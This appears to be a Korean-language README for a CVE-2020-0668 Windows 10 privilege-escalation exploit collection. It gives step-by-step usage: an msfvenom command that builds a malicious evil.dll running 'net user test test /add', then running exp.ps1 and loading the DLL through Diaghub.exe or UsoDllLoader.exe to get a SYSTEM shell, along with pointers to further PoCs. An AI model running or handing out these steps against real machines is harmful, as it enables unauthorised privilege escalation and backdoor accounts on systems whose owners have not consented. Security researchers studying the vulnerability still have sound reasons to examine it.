CVE-2020-0668

CVE-2020-0668 익스플로잇이 win10 v1903 미만 버전과 win10 v1903 이상 버전에서 작동하도록 만들기

Diaghub 익스플로잇 (< v1903)

powershell 익스플로잇은 Diaghub와 함께 win10 v1903 미만 버전에서 작동합니다.

사용법

• 1단계: msfvenom으로 evil.dll 생성
  • 예: 사용자 추가: msfvenom -p windows/x64/exec CMD="net user test test /add" -f dll > evil.dll
• 2단계: powershell로 exp.ps1 실행
• 3단계: Diaghub.exe C:\ProgramData evil.dll을 실행하여 dll을 로드하고 사용자를 추가합니다.

• Diaghub

UsoDllLoader 익스플로잇 (>= v1903)

powershell 익스플로잇은 UsoDllLoader와 함께 win10 v1903 이상 버전에서 작동합니다.

사용법

• 1단계: powershell로 exp.ps1 실행
• 2단계: UsoDllLoader.exe를 실행하여 시스템 셸을 획득

• UsoDllLoader

기타 익스플로잇 또는 PoC

SysTracingPoc 익스플로잇

SysTracingPoc의 x86 릴리스 버전으로, issue를 위한 것입니다. UsoLoadDll 덕분에 익스플로잇은 win10 v1903 이상 버전에서 작동합니다.

• SysTracingPoc

RedCursorSecurityConsulting PoC

.NET 기반 PoC입니다. C:\Windows\System32\evil.dll을 확인하고 evil.txt로 이름을 바꾸면 dll 파일이 아니라 추적 로그만 들어 있음을 알 수 있습니다.

• CVE-2020-0668

Nan3r PoC

powershell 기반 PoC입니다. 역시 evil.dll에는 추적 로그만 들어 있습니다.

• CVE-2020-0668